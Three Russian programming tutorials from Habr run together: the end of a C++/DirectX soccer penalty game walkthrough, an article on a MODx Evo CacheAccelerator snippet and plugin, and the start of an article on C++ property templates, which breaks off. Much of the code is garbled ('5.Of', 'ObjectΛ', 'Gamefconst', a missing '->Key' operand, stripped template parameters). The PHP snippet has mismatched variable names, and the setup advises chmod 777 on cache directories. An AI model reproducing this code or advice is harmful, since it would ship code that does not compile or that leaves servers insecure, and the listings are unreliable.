auto totalTime = (float) fmod(timer.GetTotalSeconds(), 2.3f);
m\_translationX = 63.0 + 11.5 \* totalTime;
m\_translationY = 11.5 \* totalTime - 5 \* totalTime\*totalTime;
}
```
Метод *Render* использует эти новые перемещения:
*rotation \*= XMMatrixTranslation(m\_translationX, m\_translationY, 0);*
Если запустить программу сейчас, вы увидите, как мяч влетает в середину ворот. Если нужно, чтобы мяч двигался в других направлениях, нужно добавить горизонтальный угол удара. Для этого мы используем перемещение по оси Z.
Расстояние от 11-метровой отметки до ворот составляет 22,5 единицы, а расстояние между штангами ворот — 14 единиц. Это дает нам угол α = atan(7/22.5), то есть 17 градусов. Можно вычислить и перемещение по оси Z, но можно сделать и проще: мяч должен переместиться до линии в тот же момент, когда он достигнет штанги. Это означает, что мяч должен переместиться на 7/22,5 единицы по оси Z и на 1 единицу по оси X. Уравнение для оси Z будет таким:
sz = 11,5 \* t/3,2 ≥ sz = 3,6 \* t
Это перемещение до штанги ворот. У любого перемещения с меньшей скоростью угол будет меньше. Чтобы мяч достиг ворот, скорость должна составлять от -3,6 (левая штанга) до 3,6 (правая штанга). Если учесть, что мяч должен полностью попасть в ворота, максимальное расстояние составляет 6/22,5, а скорость — от 3 до -3. Имея эти цифры, можно задать угол удара в методе *Update*:
**Код**
```
void Game::Update(DX::StepTimer consts timer)
{
// Rotate scene.
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
auto totalTime = (float) fmod(timer.GetTotalSeconds(), 2.3f);
m\_translationX = 63.0 + 11.5 \* totalTime;
m\_translationY = 11.5 \* totalTime - 5 \* totalTime\*totalTime;
m\_translationZ = 3 \* totalTime;
}
Перемещение по оси Z будет использовано в методе Render:
rotation \*= XMMatrixTranslation(m\_translationX, m\_translationY, m\_translationZ);
… .
```
Результат должен быть примерно таким, как на рис. 7.
*Рисунок 7. Удар под углом*
#### Добавление вратаря
Движение мяча уже готово, ворота на месте, теперь нужно добавить вратаря, который будет ловить мяч. В роли вратаря у нас будет искаженный куб. В папке Assets добавьте новый элемент (новую трехмерную сцену) и назовите его *goalkeeper.fbx*.
Добавьте куб из набора инструментов и выберите его. Задайте масштаб: 0,3 по оси X, 1,9 по оси Y и 1 по оси Z. Для свойства *MaterialAmbient* установите значение 1 для красного цвета и значение 0 для синего и зеленого цвета, чтобы сделать объект красным.
Измените значение свойства *Red* в разделе *MaterialSpecular* на 1 и значение свойства *MaterialSpecularPower* на 0,2.
Загрузите новый ресурс в методе *CreateDeviceDependentResources*:
**Код**
```
auto loadMeshTask = Mesh::LoadFromFileAsync(
m_graphics,
L"gamelevel.cmo",
L"",
L"",
m_meshModels)
.then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"field.cmo",
L"",
L"",
m_meshModels,
false // Do not clear the vector of meshes
);
}).then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"soccer_goal.cmo",
L"",
L"",
m_meshModels, false // Do not clear the vector of meshes
);
}).then([this]()
{
return Mesh::LoadFromFileAsync(
m_graphics,
L"goalkeeper.cmo",
L"",
L"",
m_meshModels, false // Do not clear the vector of meshes
);
});
```
Теперь нужно расположить вратаря в середине ворот и отрисовать его. Это нужно сделать в методе *Render* в *Game.cpp*:
**Код**
```
void Game::Render()
{
// snip
auto goalTransform = XMMatrixScaling(2.0f, 2.0f, 2.0f) * XMMatrixRotationY(-XM_PIDIV2)* XMMatrixTranslation(85.5f, -0.5f, 0);
auto goalkeeperTransform = XMMatrixTranslation(85.65f, 1.4f, 0) ;
for (UINT i = 0; i < m_meshModels.size(); i++)
{
XMMATRIX modelTransform = rotation;
String^ meshName = ref new String (m_meshModels [i]->Name ()) ;
m_graphics.UpdateMiscConstants(m_miscConstants);
if (String::CompareOrdinal(meshName, L"Sphere_Node") == 0)
m_meshModels[i]->Render(m_graphics, modelTransform);
else if (String::CompareOrdinal(meshName, L"Plane_Node") == 0)
m_meshModels[i]->Render(m_graphics, XMMatrixIdentity());
else if (String::CompareOrdinal(meshName, L"Cube_Node") == 0)
m_meshModels[i]->Render(m_graphics, goalkeeperTransform);
else
m_meshModels[i]->Render(m_graphics, goalTransform);
}
}
```
Этот код размещает вратаря в середине ворот. Теперь нужно сделать так, чтобы вратарь мог перемещаться влево и вправо, чтобы ловить мяч. Для управления движением вратаря пользователь будет нажимать на клавиши со стрелками влево и вправо.
Движение вратаря ограничено штангами ворот, расположенными на расстоянии +7 и -7 единиц по оси Z. Ширина вратаря составляет 1 единицу в каждую сторону, поэтому он может перемещаться на 6 единиц влево или вправо.
Нажатие клавиши перехватывается на странице XAML (*Directxpage.xaml*) и перенаправляется в класс *Game*. Добавляем обработчик событий *KeyDown* в *Directxpage.xaml*:
**Код**
```
```
Обработчик событий в *DirectXPage.xaml.cpp*:
**Код**
```
void DirectXPage::OnKeyDown(Platform::ObjectΛ sender,
Windows::UI::Xaml::Input::KeyRoutedEventArgsΛ e)
{
m_main->OnKeyDown( ->Key);
}
```
m\_main является экземпляром класса *StarterKitMain*, который отрисовывает сцены игры и счетчик кадровой скорости. Нужно объявить публичный метод в *StarterKitMain.h*:
**Код**
```
class StarterKitMain : public DX::IDeviceNotify
{
public:
StarterKitMain(const std::shared_ptr& deviceResources);
~StarterKitMain();
// Public methods passed straight to the Game renderer.
Platform: : String'^ OnHitObject (int x, int y) {
return m\_sceneRenderer->OnHitObject(x, y); }
void OnKeyDown(Windows::System::VirtualKey key) {
m\_sceneRenderer->OnKeyDown(key); }
… .
```
Этот метод перенаправляет клавишу методу *OnKeyDown* в классе *Game*. Теперь нужно объявить метод *OnKeyDown* в файле *Game.h*:
**Код**
```
class Game
{ public:
Gamefconst std::shared_ptr& deviceResources);
void CreateDeviceDependentResources();
void CreateWindowSizeDependentResources();
void ReleaseDeviceDependentResources();
void Update(DX::StepTimer consts timer);
void Render();
void OnKeyDown(Windows::System::VirtualKey key);
…
```
Этот метод обрабатывает нажатие клавиш и перемещает вратаря в соответствующую сторону. Перед созданием этого метода нужно объявить частное поле в файле *Game.h* для сохранения положения вратаря:
**Код**
```
class Game {
// snip
private:
// snip
float m_goalkeeperPosition;
```
Изначально вратарь занимает положение 0. Это значение будет увеличиваться или уменьшаться при нажатии пользователем клавиши со стрелкой. Если положение больше 6 или меньше -6, положение вратаря не изменяется. Это нужно сделать в методе *OnKeyDown* в *Game.cpp*:
**Код**
```
void Game::OnKeyDown(Windows::System::VirtualKey key)
{
const float MaxGoalkeeperPosition = 6.0;
const float MinGoalkeeperPosition = -6.0;
if (key == Windows::System::VirtualKey::Right)
m_goalkeeperPosition = m_goalkeeperPosition >= MaxGoalkeeperPosition ?
m_goalkeeperPosition : m_goalkeeperPosition + 0.1f;
else if (key == Windows::System::VirtualKey::Left)
m_goalkeeperPosition = m_goalkeeperPosition <= MinGoalkeeperPosition ?
m_goalkeeperPosition : m_goalkeeperPosition - 0.1f;
}
```
Новое положение вратаря используется в методе *Render* файла *Game.cpp*, где вычисляется перемещение вратаря:
*auto goalkeeperTransform = XMMatrixTranslation(85.65f, 1.40f, m\_goalkeeperPosition);*
Применив эти изменения, можно запустить игру: вы увидите, что вратарь движется вправо или влево при нажатии соответствующих клавиш со стрелками (см. рис. 8).
*Рисунок 8. Игра с вратарем в нужном положении*
До сих пор мяч двигался постоянно, но это нам не нужно. Мяч должен начинать движение непосредственно после удара и останавливаться при достижении ворот. Вратарь также не должен двигаться до удара по мячу.
Необходимо объявить частное поле *m\_isAnimating* в файле *Game.h*, чтобы игра «знала», когда мяч движется:
**Код**
```
class Game
{
public:
// snip
private:
// snip
bool m_isAnimating;
```
Эта переменная используется в методах *Update* и *Render* в *Game.cpp*, поэтому мяч перемещается, только когда *m\_isAnimating* имеет значение true:
**Код**
```
void Game::Update(DX::StepTimer consts timer)
{
if (m_isAnimating)
{
m_rotation = static_cast(timer.GetTotalSeconds()) \* 0.5f;
auto totalTime = (float) fmod(timer.GetTotalSeconds(), 2.3f);
m\_translationX = 63.0f + 11.5f \* totalTime;
m\_translationY = 11.5f \* totalTime - 5.Of \* totalTime\*totalTime;
m\_translationZ = 3.0f \* totalTime;
}
}
void Game::Render()
{
// snip
XMMATRIX modelTransform;
if (m\_isAnimating)
{
modelTransform = XMMatrixRotationY(m\_rotation);
modelTransform \*= XMMatrixTranslation(m\_translationX, m\_translationY,
m\_translationZ);
}
else
modelTransform = XMMatrixTranslation(63.0f, 0.0f, 0.0f);
… .
```
Переменная *modelTransform* перемещается из цикла к началу. Нажатие клавиш со стрелками следует обрабатывать в методе *OnKeyDown*, только когда *m\_isAnimating* имеет значение true:
**Код**
```
void Game::OnKeyDown(Windows::System::VirtualKey key)
{
const float MaxGoalkeeperPosition = 6.0f;
if (m_isAnimating)
{
auto goalKeeperVelocity = key == Windows::System::VirtualKey::Right ?
0.1f : -0.1f;
m_goalkeeperPosition = fabs(m_goalkeeperPosition) >=
MaxGoalkeeperPosition ?
m_goalkeeperPosition :
m_goalkeeperPosition +
goalKeeperVelocity;
}
}
```
Теперь нужно ударить по мячу. Это происходит, когда пользователь нажимает пробел. Объявите новое частное поле *m\_isKick* в файле *Game.h*:
**Код**
```
class Game
{
public:
// snip
private:
// snip
bool m_isKick;
```
Установите для этого поля значение true в методе *OnKeyDown* в *Game.cpp*:
**Код**
```
void Game::OnKeyDown(Windows::System::VirtualKey key)
{
const float MaxGoalkeeperPosition = 6. Of;
if (m_isAnimating)
{
auto goalKeeperVelocity = key == Windows::System::VirtualKey::Right ?
0.1f : -0.1f;
m_goalkeeperPosition = fabs(m_goalkeeperPosition) >=
MaxGoalkeeperPosition ?
m_goalkeeperPosition :
m_goalkeeperPosition + goalKeeperVelocity;
}
else if ( y == Windows::System::VirtualKey::Space)
m_isKick = true;
}
```
Когда *m\_isKick* имеет значение true, в методе *Update* запускается анимация:
**Код**
```
void Game::Update(DX::StepTimer consts timer)
{
if (m_isKick)
{
m_startTime = static_cast(timer.GetTotalSeconds());
m\_isAnimating = true;
m\_isKick = false;
}
if (m\_isAnimating)
{
auto totalTime = static\_cast(timer.GetTotalSeconds()) –
m\_startTime;
m\_rotation = totalTime \* 0.5f; m\_translationX = 63.0f + 11.5f \* totalTime;
m\_translationY = 11.5f \* totalTime - 5.Of \* totalTime\*totalTime;
m\_translationZ = 3.0f \* totalTime;
if (totalTime > 2.3f)
ResetGame();
}
}
```
Начальное время удара хранится в переменной *m\_startTime* (объявленной как приватное поле в файле *Game.h*), которая используется для вычисления времени удара. Если оно превышает 2,3 секунды, игра сбрасывается (за это время мяч уже должен был достигнуть ворот). Метод *ResetGame* объявляется как частный в *Game.h*:
**Код**
```
void Game::ResetGame()
{
m_isAnimating = false;
m_goalkeeperPosition = 0;
}
```
Этот метод устанавливает для *m\_isAnimating* значение false и сбрасывает положение вратаря. Положение мяча изменять не нужно: мяч будет отрисован на 11-метровой отметке, если *m\_isAnimating* имеет значение false. Также нужно изменить угол удара. Этот код направляет удар вблизи правой штанги:
*m\_translationZ = 3.0f \* totalTime;*
Нужно изменить этот подход, чтобы удары были случайными и пользователь не знал, куда будет направлен следующий удар. Необходимо объявить приватное поле *m\_ballAngle* в файле *Game.h* и инициализировать его при ударе по мячу в методе *Update*:
**Код**
```
void Game::Update(DX::StepTimer const& timer)
{
if (m_isKick)
{
m_startTime = static_cast(timer.GetTotalSeconds());
m\_isAnimating = true;
m\_isKick = false;
m\_ballAngle = (static\_cast (rand()) /
static\_cast (RAND\_MAX) -0.5f) \* 6.0f;
}
… .
```
*Rand()/RAND\_MAX* дает результат от 0 до 1. Нужно вычесть из результата 0,5, чтобы получить число от -0,5 до 0,5, а затем умножить на 6, чтобы получить итоговый угол до -3 до 3. Чтобы в каждой игре использовать разные последовательности, нужно инициализировать генератор, вызвав srand в методе *CreateDeviceDependentResources*:
**Код**
```
void Game::CreateDeviceDependentResources()
{
srand(static_cast (time(0)));
… .
```
Чтобы вызвать функцию времени, нужно включить *ctime*. Чтобы использовать новый угол для мяча, нужно применить *m\_ballAngle* в методе *Update*:
*m\_translationZ = m\_ballAngle \* totalTime;*
Теперь почти весь код готов, но нужно понять, поймал ли вратарь мяч, или же пользователь забил гол. Это можно определить простым способом: проверить, пересекается ли прямоугольник мяча с прямоугольником вратаря в момент достижения мячом линии ворот. Разумеется, для определения забитых голов можно использовать и более сложные методики, но для нашего случая описанного способа вполне достаточно. Все вычисления осуществляются в методе *Update*:
**Код**
```
void Game::Update(DX::StepTimer consts timer) {
if (m_isKick) {
m_startTime = static_cast(timer.GetTotalSeconds());
m\_isAnimating = true;
m\_isKick = false;
m\_isGoal = m\_isCaught = false;
m\_ballAngle = (static\_cast (rand()) /
static\_cast (RAND\_MAX) -0.5f) \* 6.0f;
}
if (m\_isAnimating)
{
auto totalTime = static\_cast(timer.GetTotalSeconds()) –
m\_startTime;
m\_rotation = totalTime \* 0.5f; if ( !m\_isCaught)
{
// ball traveling
m\_translationX = 63.0f + 11.5f \* totalTime;
m\_translationY = 11.5f \* totalTime - 5.0f \* totalTime\*totalTime;
m\_translationZ = m\_ballAngle \* totalTime;
}
else
{
// if ball is caught, position it in the center of the goalkeeper
m\_translationX = 83.35f;
m\_translationY = 1.8f;
m\_translationZ = m\_goalkeeperPosition;
}
if (!m\_isGoal && !m\_isCaught && m\_translationX >= 85.5f)
{
// ball passed the goal line - goal or caught
auto ballMin = m\_translationZ - 0.5f + 7.0f;
auto ballMax = m\_translationZ + 0.5f + 7.0f;
auto goalkeeperMin = m\_goalkeeperPosition - 1.0f + 7.0f;
auto goalkeeperMax = m\_goalkeeperPosition + 1.0f + 7.0f;
m\_isGoal = (goalkeeperMax < ballMin || goalkeeperMin > ballMax);
m\_isCaught = !m\_isGoal;
}
if (totalTime > 2.3f)
ResetGame();
}
}
```
Объявляем два частных поля в файле *Game.h*: *m\_isGoal* и *m\_IsCaught*. Эти поля говорят нам о том, что произошло: пользователь забил гол или вратарь поймал мяч. Если оба поля имеют значение false, мяч еще летит. Когда мяч достигает вратаря, программа вычисляет границы мяча и вратаря и определяет, налагаются ли границы мяча на границы вратаря. Если посмотрите в код, то увидите, что я добавил 7.0 f к каждой границе. Я сделал это, поскольку границы могут быть положительными или отрицательными, а это усложнит вычисление наложения. Добавив 7.0 f, я добился того, что все значения стали положительными, чтобы упростить вычисление. Если мяч пойман, его положение устанавливается по центру вратаря. *m\_isGoal* и *m\_IsCaught* сбрасываются при ударе.
Итак, мы получили вполне рабочий вариант игры. Желающих продолжить ее совершенствовать, в частности, добавить ведение счета или сенсорное управление, отсылаем к [исходному материалу на IDZ](https://software.intel.com/en-us/articles/developing-3d-games-for-windows-8-with-c-and-microsoft-directx).
#### Заключение
Итак, дело сделано. От танцующего чайника мы пришли к игре на DirectX. Языки программирования становятся все более похожими, поэтому использование C++/DX не вызвало особых затруднений у разработчика, привыкшего пользоваться C#.
Основное затруднение состоит в освоении трехмерных моделей, в их движении и расположении привычным образом. Для этого потребовалось применить знания физики, геометрии, тригонометрии и математики.
Как бы то ни было, можно заключить, что разработка игры не является непосильной задачей. При наличии терпения и нужных инструментов можно создать великолепные игры с превосходной производительностью. | https://habr.com/ru/post/241085/ | null | ru | null |
# CacheAccelerator для MODx Evo. Уменьшение в разы количества запросов к базе за счет кэширования динамических сниппетов
Всем привет. Я совсем недавно познакомился с MODx CMF. Осваиваю в данный момент версию Evolution. Система в целом довольно приятная и очень гибкая, однако, ознакомившись поближе, я обнаружил ряд недостатков. Причем некоторые из них не давали мне никакого покоя и оставлять как есть я никак не смог.
Остановлюсь на одном из самых чувствительных критериев любой CMS/CMF — производительности.
В целом, с производительностью у MODx все норм. Сам он написан достаточно грамотно, оптимизирован. Более того, за счет своей гибкости, дает разработчику возможность самому управлять узкими местами в реализуемом проекте.
Тем не менее, меня просто шокировал метод обработки вывода новостей с помощью Ditto, комментариев с помощью Jot и тд. А именно, необходимость отключать кэширование как для всей страницы у Ditto (из-за проблем в работе с PHx), так и для вызова самого сниппета у Jot.
Ведь, если записей достаточно много, то на одной странице они не поместятся, а это значит что, например, новостную ленту нужно разбивать на несколько страниц. Но, если в MODx включено кэширование этой страницы, то при переходе между частями новостной ленты, мы увидим все то же содержимое, которое первое попало в кэш!
Что же советуют официальные источники?
Они советуют, чтобы сниппеты, работающие с несколькими
страницами, никогда не кэшировались.
###### Вот примеры вызова Ditto и Jot:
Страница вызова сниппета не кэшируется «Настройка страницы => Кэшируемый => Выкл»
`[[Ditto?
&parents=`1`
&display=`10`
&paginate=`1`
&paginateAlwaysShowLinks=`1`
]]`
Страница вызова сниппета кэшируется «Настройка страницы => Кэшируемый => Вкл»
`[!Jot?
&customfields=`name,email`
&pagination=`10`
&badwords=`*****`
&canmoderate=`Site Admins`
&captcha=`1`!]
!]`
Как мы видим, кэширование средствами MODx в обоих случаях не производится. Отсутствие кэширования напрямую сказывается на скорости работы системы, т.к. при каждом вызове страницы, все данные сниппета собираются из базы.
По моим тестам, страница вызова Ditto с 10-ю записями на странице, отображением заголовка, краткой аннотации и даты публикации, создает порядка 11-ти запросов к базе. Использование дополнительных фильтров, условий поиска по полям TV, даст еще более удручающую статистику.
[демо](http://www.master-53.ru/blog/testblog.html)
То же самое происходит и на странице вызова Jot.
Вызов Jot с 10-ю комментариями на страницу, стандартной информацией о каждом
комментарии и с формой для добавления новых сообщений, создает также порядка
22 — 24-х запросов к базе.
[демо](http://www.master-53.ru/blog/testblog/cacheaccelerator.html)
Это некритично до тех пор, пока база очень маленькая, но, при росте базы, такое количество запросов будет увеличивать время ответа в геометрической прогрессии относительно количества документов.
Немного подумав, я написал CacheAccelerator, состоящий из одного модуля, одного сниппета и сторонней [библиотеки](http://neo22s.com/filecache/).
Cache Accelerator, за счет кэширования выдачи любого произвольного сниппета (не только Ditto и Jot), увеличивает скорость работы системы и уменьшает количество запросов к базе.
По проведенным тестам, повторный запрос к рассмотренной выше странице с Ditto, дает результат в виде уменьшения количества обращений к базе с 11 до 3(!), а к странице с Jot, с 22 до 1(!).
Данный продукт не использует никаких хак методов интеграции в движок MODx. Является совершенно отдельным блоком кода. Очень прост в установке и использовании.
##### Итак, установка:
Сперва скачиваем fileCache со страницы:
<http://neo22s.com/filecache/>
либо прямая ссылка:
<http://lab.neo22s.com/fileCache/fileCache.zip>
Создаем директорию /assets/plugins/cacheaccelerator
В директории cacheaccelerator создаем директорию cache (/assets/plugins/cacheaccelerator/cache)
На обе созданные директории устанавливаем chmod 777
Далее, из скачанного архива копируем файл fileCache.php в директорию /assets/plugins/cacheaccelerator
После этого, в менеджере MODx нажимаем *Элементы* -> *Управление элементами* -> *Сниппеты* -> *Новый сниппет*. Создаем новый сниппет с именем CacheAccelerator.
Туда копируем содержимое сниппета.
###### Сниппет CacheAccelerator:
`php<br/
//Функция сравнения. Работает в соответствии с функцией сравнения Ditto
if(!function_exists(cacheFieldsCompare)) {
function cacheFieldsCompare ($param1, $param2, $param3){
/*
1 or != Не равно
2 or = Равно
3 or < Меньше чем
4 or > Больше чем
5 or <= Меньше чем или равно
6 or >= Больше чем или равно
7 Содержит
8 Не содержит
*/
switch($param3){
case 1:
return $param1 != $param2;
break;
case 2:
return $param1 == $param2;
break;
case 3:
return $param1 < $param2;
break;
case 4:
return $param1 > $param2;
break;
case 5:
return $param1 <= $param2;
break;
case 6:
return $param1 >= $param2;
break;
case 7:
return stristr($param1, $param2);
break;
case 8:
return !stristr($param1, $param2);
}
}
}
$nocache = isset($nocache)? $nocache : 0; //флаг необходимости сброса кэша
$url = $_SERVER["REQUEST_URI"]; //текущий урл, включается в ключ для кэширования
$path_to_cacheengine=$modx->config['base_path']."assets/plugins/cacheaccelerator/"; //путь к директории с CacheAccelerator
$path_to_cache=$modx->config['base_path']."assets/plugins/cacheaccelerator/cache/"; //путь к директории для хранения кэша (может быть произвольым)
require_once ($path_to_cacheengine."fileCache.php"); //запрос класса fileCache
$cache = fileCache::GetInstance(84600*7,$path_to_cache);//создание инстанции класса fileCache
//обработка флага принудительной очистки кэша
if((int)$clearCache){
if($logMessages) echo("Clearing cache...");
$cache->deleteCache(0);
return;
}
//обработка групп пользователей, для которых кэширование не производится (администраторы сайта, модераторы и тд)
$noCacheGroups = isset($noCacheGroups) ? $noCacheGroups : "";
$nocache = intval($modx->isMemberOfWebGroup(explode("||",$nocacheGroups)) || $modx->checkSession()) ? 2 : $nocache;
if($nocache == 2){
if($logMessages) echo("No caching for this web group.");
}
/* обработка стоп-полей, дающих сигнал на сброс кэша. в случае совпадения условий, кэш сбрасывается */
if(isset($dropCacheField)){
$fieldsArray = explode("||", $dropCacheField);
foreach ($fieldsArray as $field){
$field1 = explode(";", $field);
if($field1[1] && $field[2]){
if(empty($field1[0])){
foreach ($_POST as $key => $postField){
if(cacheFieldsCompare($postField, $field1[1], $field1[2])){
$nocache = 1;
continue;
}
}
foreach ($_GET as $key => $getField){
if(cacheFieldsCompare($getField, $field1[1], $field1[2])){
$nocache = 1;
continue;
}
}
} else {
if(!empty($_POST[$field1[0]])){
if(cacheFieldsCompare($_POST[$field1[0]], $field1[1], $field1[2])){
$nocache = 1;
continue;
}
}
if(!empty($_GET[$field1[0]])){
if(cacheFieldsCompare($_GET[$field1[0]], $field1[1], $field1[2])){
$nocache = 1;
continue;
}
}
}
} else {
if(!empty($_POST[$field1[0]]) || !empty($_GET[$field1[0]]))
$nocache = 1;
}
}
//непосредственно сброс кэша при совпадении условий
if($nocache == 1){
if($logMessages) echo("**Clearing cache...**");
$cache->deleteCache(0);
}
}
//запрос результата работы сниппета из кэша
if($nocache == 0){
$cached = $cache->cache($cacheId.$url);
if(isset($cached)){
if($logMessages) echo("**Cache hit!**");
$modx->placeholders = $cached['placeholders']; //установка плейсхолдеров закэшированного сниппета
return $cached['content']; //возврат результата работы сниппета из кэша
}
}
$output = $modx->runSnippet($snippetToCache, $modx->event->params); //непосредственное выолнение сниппета с передачей всех параметров
//помещение в кэш результата работы сниппета
if($nocache == 0){
if($logMessages) echo("Storing to cache...");
$cache->cache($cacheId.$url,array('placeholders' => $modx->placeholders, 'content' => $output));
}
//возвращение результата работы сниппета в парсер MODx
return($output);
?>`
Созраняем созданный сниппет. Затем переходим во вкладку *Плагины*.
Нажимаем *Создать плагин*.
Задаем ему имя CacheAcceleratorClear. Копируем в него содержимое плагина.
###### Плагин CacheAcceleratorClear:
`$path_to_cacheengine=$modx->config['base_path']."assets/plugins/cacheaccelerator/"; //путь к директории с CacheAccelerator
$path_to_cache=$modx->config['base_path']."assets/plugins/cacheaccelerator/cache/"; //путь к директории для хранения кэша (может быть произвольым, но должно совпадать со значением сниппета CacheAccelerator)
require_once ($path_to_cacheengine."fileCache.php");//запрос класса fileCache
$cache = fileCache::GetInstance(84600*7,$path_to_cache);//создание инстанции класса fileCache
$cache->deleteCache(0);//очистка кэша
return;`
**Внимание!** После того как скопировали содержимое плагина, переходим во вкладку *Системные события*, в которой отмечаем галочкой событие OnCacheUpdate в разделе *Cache Service Events*!
Затем нажимаем кнопку *Сохранить*.
Все, установка CacheAccelerator завершена.
Данный плагин выполняет одну функцию. Когда MODx выполняет очистку своего кэша, он также выполняет очистку кэша CacheAccelerator
##### Использование CacheAccelerator:
CacheAccelerator может использоваться абсолютно для любых сниппетов. Кэшировать любую выдачу.
Я же пока рассмотрю его применение на примерах вызовов Ditto и Jot.
Вызов Ditto будет выглядеть следующим образом:
`[[CacheAccelerator?
&snippetToCache=`Ditto`
&cacheId=`News`
&parents=`1`
&display=`10`
&paginate=`1`
&paginateAlwaysShowLinks=`1`
]]`
Вместо самого вызова Ditto, вызывается сниппет CacheAccelerator, а название кэшируемого сниппета (в данном случае Ditto) указывается в параметре snippetToCache.
Далее следует параметр cacheId. Он создан для разделения кэшируемого контента в случае присутствия нескольких кэшируемых сниппетов на странице. Например, левое меню, последние новости и сама лента новостей. Может содержать любое значение, к которому привяжется закэшированный контент.
Заметим, что если Ditto вызывался в двойных скобках [[]], то и данный вызов должен также содержаться в них.
Пример вызова Jot:
`[!CacheAccelerator?
&snippetToCache=`Jot`
&cacheId=`Comments`
&dropCacheField=`JotForm||post;true;2||;publish;2||;unpublish;2||;delete;2||;edit;2`
&noCacheGroups=`Site Admins`
&customfields=`name,email`
&pagination=`10`
&badwords=`*****`
&canmoderate=`Site Admins`
&captcha=`1`
!]`
Сам кэшируемый сниппет также указывается в параметре snippetToCache, а в cacheId идентификатор кэшируемого контента на странице.
Здесь присутствуют еще два параметра dropCacheField и noCacheGroups. На них мы остановимся подробнее.
Дело в том, что, в отличие от новостных блоков, добавление которых происходит из менеджера MODx и где, после добавления каждой из новостей, очищается кэш, в ленте комментариев Jot любой пользователь зашедший на сайт может добавить свой комментарий. При этом, чтобы этот комментарий был виден как ему, так и другим пользователям, необходимо очистить кэш CacheAccelerator. Данное действие может потребоваться не только для Jot, но и для многих других сниппетов, выдачу которых хотелось бы закэшировать, но также предусмотреть возможность обновления кэша после каких-либо действий пользователя.
Для этих целей и служит параметр dropCacheField.
Он содержит список условий, разделенных ||. При срабатывании любого из этих условий происходит очистка кэша CacheAccelerator.
Условием может быть имя поля.
При обнаружении которого в запросах GET или POST, кэш будет обновлен.
Может быть сравнением.
Через точку с запятой перечисляются:
`поле;значение;метод_сравнения`
Если само имя поля указано пустым, то сравнению подвергаются все существующие поля.
Вот пример:
`&dropCacheField=`JotForm||post;true;2||;delete;2``
Здесь указано:
* Если в запросе присутствует поле JotForm
* Если есть поле post и оно равно true
* Если любое из полей имеет значение delete
При любом совпадении, будет произведена очистка кэша.
При постинге нового сообщения в Jot, передается форма, где содержится поле JotForm. Таким образом, после постинга комментария, кэш будет очищен и информация останется актуальной. После первого же запроса на эту страницу, кэш будет снова создан и последующие обращения станут отдаваться из кэша.
Параметр noCacheGroups содержит список, разделенный ||, в котором содержатся группы веб пользователей, отдача данных из кэша для которых производиться не будет, а сниппет будет выполняться при каждом вызове. Потому как у модераторов, например, форма вывода отличается управляющими кнопками и, при условии попадания такого запроса в кэш, другие зашедшие пользователи также увидят форму, имеющую элементы, не относящиеся к их запросу.
По умолчанию, также, обработка кэша не происходит и для тех пользователей, которые авторизованы в менеджере MODx. И, если пользователь, под которым Вы редактируете материалы, состоит в пользователях администраторской панели, то данная проблема отпадает сама собой.
Очистить кэш CacheAccelerator также можно из любого места вызвав:
*Из чанка:*
`[!CacheAccelerator? &clearCache=`1`!]`
*Из сниппета:*
`$modx->runSnippet("CacheAccelerator", array("clearCache" => 1))`
Любые плейсхолдеры, заданные кэшируемым сниппетом, также кэшируются и прописываются при вызове из кэша.
Пример:
`[[CacheAccelerator?&snippetToCache=`Ditto`&cacheId=`News`]]
Показаны [+start+] - [+stop+] из [+total+] Новостей` | https://habr.com/ru/post/113719/ | null | ru | null |
# Property в C++
Наверное, все любители языка C++, которые использовали другие языки, такие как C#, удивляются: почему же в плюсах нет property? Ведь это действительно удобное средство, позволяющее полностью контролировать доступ к членам класса. Недавно и я заинтересовался данным вопросом. Подумав, полистав Страуструпа и наконец, погуглив, я пришёл к выводу, что property можно реализовать средствами языка. Думаю многие уже видели разнообразные реализации, например, [от microsoft](http://msdn.microsoft.com/en-us/library/yhfk0thd.aspx), но для кого-то, надеюсь, это будет интересным открытием.
В статье вы найдёте один из возможных вариантов реализации свойств при помощи шаблонов.
Постановка задачи
=================
Для начала определимся, что мы хотим. А хотим мы, чтобы к свойству можно было обращаться как к обычному полю объекта через точку (ну или ->) как на запись, так и на чтение и без всяких скобочек. То есть вот так:
`a.property = value;
MyClass var = a.property;`
При этом должны вызываться определённые нами функции сеттер и геттер. Ещё хотелось бы, чтобы в классе свойство определялось максимально просто и понятно.
Реализация
==========
Мы видим, что если a.property будет экземпляром определённого нами класса Property, то можно перегрузить оператор =, получив сеттер, а так же оператор приведения типов, получив геттер. Сам этот класс должен быть шаблонным, чтобы позволить использовать свойства любого типа.
Для того чтобы не реализовывать для каждого property свой класс, перегруженные операторы должны производить вызов функции по указателю, переданному свойству в конструкторе.
Для использования мы объявляем переменную нашего типа Property как public поле в классе и передаём тип, который нам нужен, в качестве первого параметра шаблона, а указатели на функции в параметрах конструктора.
Когда это всё было реализовано, то вспомнилась ещё одна замечательная особенность property: оно может быть Read Only. До этого рассматривалось только полноценное property с сеттером и геттером. И важно, чтобы права на чтение и запись проверялись на этапе компиляции. Здесь к нам на помощь приходят специализации шаблонов. Можно реализовать три различных класса (чтение и запись, только чтение, только запись) Property с одинаковыми именами, отличающиеся параметром шаблона, так называемой специализацией. Итоговая реализация выгладит вот так:
```
#pragma once
#define NULL 0
class ReadOnly;
class WriteOnly;
class ReadWrite;
template
class Property
{
};
template
class Property
{
protected:
typedef Type (Owner::\*getter)();
typedef void (Owner::\*setter)(Type);
Owner \* m\_owner;
getter m\_getter;
setter m\_setter;
public:
// Оператор приведения типа. Реализует геттер.
operator Type()
{
return (m\_owner->\*m\_getter)();
}
// Оператор присваивания. Реализует сеттер.
void operator =(Type data)
{
(m\_owner->\*m\_setter)(data);
}
Property() :
m\_owner(NULL),
m\_getter(NULL),
m\_setter(NULL)
{
}
Property(Owner \* const owner, getter getmethod, setter setmethod) :
m\_owner(owner),
m\_getter(getmethod),
m\_setter(setmethod)
{
}
void init(Owner \* const owner, getter getmethod, setter setmethod)
{
m\_owner = owner;
m\_getter = getmethod;
m\_setter = setmethod;
}
};
template
class Property
{
protected:
typedef Type (Owner::\*getter)();
Owner \* m\_owner;
getter m\_getter;
public:
// Оператор приведения типа. Реализует геттер.
operator Type()
{
return (m\_owner->\*m\_getter)();
}
Property() :
m\_owner(NULL),
m\_getter(NULL)
{
}
Property(Owner \* const owner, getter getmethod) :
m\_owner(owner),
m\_getter(getmethod)
{
}
void init(Owner \* const owner, getter getmethod)
{
m\_owner = owner;
m\_getter = getmethod;
}
};
template
class Property
{
protected:
